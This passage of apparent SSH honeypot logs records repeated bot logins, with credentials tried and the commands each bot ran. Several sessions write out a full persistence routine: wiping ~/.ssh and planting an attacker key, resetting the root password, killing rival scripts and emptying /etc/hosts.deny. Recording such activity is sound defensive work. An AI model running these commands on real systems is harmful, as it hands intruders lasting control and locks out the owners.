hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:45:29.764707+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:45:30.990633+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:45:31.255731+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:45:33.302388+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:45:33.567605+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:45:35.413198+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:45:35.680002+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T11:45:36.527039+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T11:45:36.792190+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T11:45:38.762593+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"test2025!","method":"password","accepted":true,"tier":"other"}]} {"id":"a718bfe6-3881-4e49-bbc3-9b3e630fedaa","name":"umber-woven-finch","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":39692,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:45:11.683760+00:00","ended_at":"2026-08-27T11:45:13.541254+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"20743a92-119a-4dca-b070-ea5b1094c25a","name":"craggy-amiable-antelope","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":39688,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:45:10.090758+00:00","ended_at":"2026-08-27T11:45:11.175958+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f0c3c9f2-c326-4b0e-aa47-ce9964411f8b","name":"tangled-gloomy-redstart","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":51330,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":261,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:43:36.779184+00:00","ended_at":"2026-08-27T11:43:37.774544+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:43:13.291810+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:43:13.552826+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:43:17.389991+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:43:17.841858+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:43:18.105788+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bBKuUewXLdOm\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:43:18.365465+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:43:18.626541+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:43:19.085377+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:43:19.345933+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:43:20.450517+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:43:20.711397+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:43:21.917671+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:43:22.179684+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:43:22.449559+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:43:22.711489+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:43:23.097065+00:00","kind":"output","latency_ms":null,"data":" 11:43:23 up 7 days, 8:33, 0 user, load average: 0.14, 0.12, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:43:23.361691+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:43:25.540755+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:43:25.801959+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:43:27.802588+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:43:28.048789+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:43:28.538317+00:00","kind":"output","latency_ms":null,"data":"top - 11:43:28 up 7 days, 8:33, 0 user, load average: 0.14, 0.12, 0.15\nTasks: 116 total, 1 running, 115 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:43:28.799228+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:43:29.855951+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:43:30.109708+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:43:32.216047+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:43:32.479122+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:43:34.143887+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:43:34.405177+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:43:36.514764+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:43:36.779707+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:43:37.698883+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1qaz@WSX#EDC","method":"password","accepted":true,"tier":"other"}]} {"id":"aa42d23a-c595-4afe-b3d4-777790706a28","name":"frosty-crystal-hedgehog","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":58274,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:43:16.145795+00:00","ended_at":"2026-08-27T11:43:17.313008+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"814a1289-5831-4062-a221-27828e186434","name":"primal-crisp-ibis","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":51344,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:43:14.142807+00:00","ended_at":"2026-08-27T11:43:15.627006+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"9eac5760-2272-4284-9c94-36fd1e49ffbb","name":"umber-twilight-goshawk","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":44376,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":265,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:41:40.284750+00:00","ended_at":"2026-08-27T11:41:41.525679+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:41:12.697939+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:41:12.963597+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:41:16.928158+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:41:18.599085+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:41:18.864067+00:00","kind":"input","latency_ms":null,"data":"echo \"root:3SESPICap2IE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:41:19.128348+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:41:19.391342+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:41:21.505399+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:41:21.770332+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:41:23.092768+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:41:23.360159+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:41:24.636029+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:41:24.903450+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:41:26.454144+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:41:26.722167+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:41:27.583698+00:00","kind":"output","latency_ms":null,"data":" 11:41:27 up 7 days, 8:31, 0 user, load average: 0.07, 0.06, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:41:27.848595+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:41:29.752621+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:41:30.017059+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:41:31.793181+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:41:32.057738+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:41:33.107955+00:00","kind":"output","latency_ms":null,"data":"top - 11:41:33 up 7 days, 8:31, 0 user, load average: 0.07, 0.06, 0.06\nTasks: 125 total, 1 running, 124 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:41:33.373028+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:41:34.547548+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:41:34.811612+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:41:36.336782+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:41:36.601679+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:41:38.453956+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:41:38.716237+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:41:40.019380+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:41:40.285707+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:41:41.450420+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"a123123123","method":"password","accepted":true,"tier":"other"}]} {"id":"54294cd6-670b-4ab6-861c-0b29f6c10a55","name":"keen-rustic-wagtail","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":44386,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:41:15.478804+00:00","ended_at":"2026-08-27T11:41:16.852015+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7cb3331f-7b20-4bb9-a510-13575e2e5265","name":"meadow-vernal-zebu","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":44380,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:41:13.557227+00:00","ended_at":"2026-08-27T11:41:14.960513+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3b68326b-5aa3-401b-bd27-1a060294ab3f","name":"jovial-obsidian-kakapo","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":49492,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":274,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:39:40.711783+00:00","ended_at":"2026-08-27T11:39:41.785704+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T11:39:14.027106+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:39:14.292615+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:39:18.676152+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:39:20.121442+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:39:20.395958+00:00","kind":"input","latency_ms":null,"data":"echo \"root:GQahjYvYUf6O\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:39:20.670919+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:39:20.943678+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:39:22.415652+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:39:22.689258+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:39:23.868111+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:39:24.146198+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:39:25.729522+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:39:26.011138+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:39:27.694952+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:39:27.971006+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:39:29.267511+00:00","kind":"output","latency_ms":null,"data":" 11:39:29 up 7 days, 8:29, 0 user, load average: 0.28, 0.22, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:39:29.542395+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:39:31.560949+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:39:31.835472+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:39:32.429669+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:39:32.705514+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:39:34.152967+00:00","kind":"output","latency_ms":null,"data":"top - 11:39:34 up 7 days, 8:29, 0 user, load average: 0.28, 0.22, 0.31\nTasks: 124 total, 1 running, 123 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9691 free, 6196 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:39:34.424274+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:39:35.965400+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:39:36.238964+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:39:37.035750+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:39:37.310053+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:39:39.227250+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T11:39:39.502653+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:39:40.437360+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:39:40.712564+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:39:41.705283+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"tq123456.","method":"password","accepted":true,"tier":"other"}]} {"id":"1cc17c7c-dda8-419b-925f-9e924ee6e7bf","name":"smooth-murky-marmot","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":58368,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:39:16.675248+00:00","ended_at":"2026-08-27T11:39:18.597651+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"a2d21b7f-5ce7-496c-baa9-b573d778d7cc","name":"rugged-eager-kingfisher","protocol":"ssh","channel_kind":null,"src_ip":"51.255.195.46","src_port":49496,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:39:14.899169+00:00","ended_at":"2026-08-27T11:39:16.148922+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"cd3b0015-fb4b-40cd-99fa-6a8b36ea71d4","name":"barren-gnarled-avocet","protocol":"ssh","channel_kind":"exec","src_ip":"51.255.195.46","src_port":37934,"username":"ram","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":280,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:37:42.249902+00:00","ended_at":"2026-08-27T11:37:43.573831+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2246,"events":[{"seq":1,"at":"2026-08-27T11:37:17.772212+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:37:18.052071+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:37:21.847659+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:37:22.442667+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:37:22.726117+00:00","kind":"input","latency_ms":null,"data":"echo -e \"1234\\nyiUk2sYXHzlx\\nyiUk2sYXHzlx\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:37:22.999866+00:00","kind":"input","latency_ms":null,"data":"echo \"1234\\nyiUk2sYXHzlx\\nyiUk2sYXHzlx\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:37:23.278481+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print 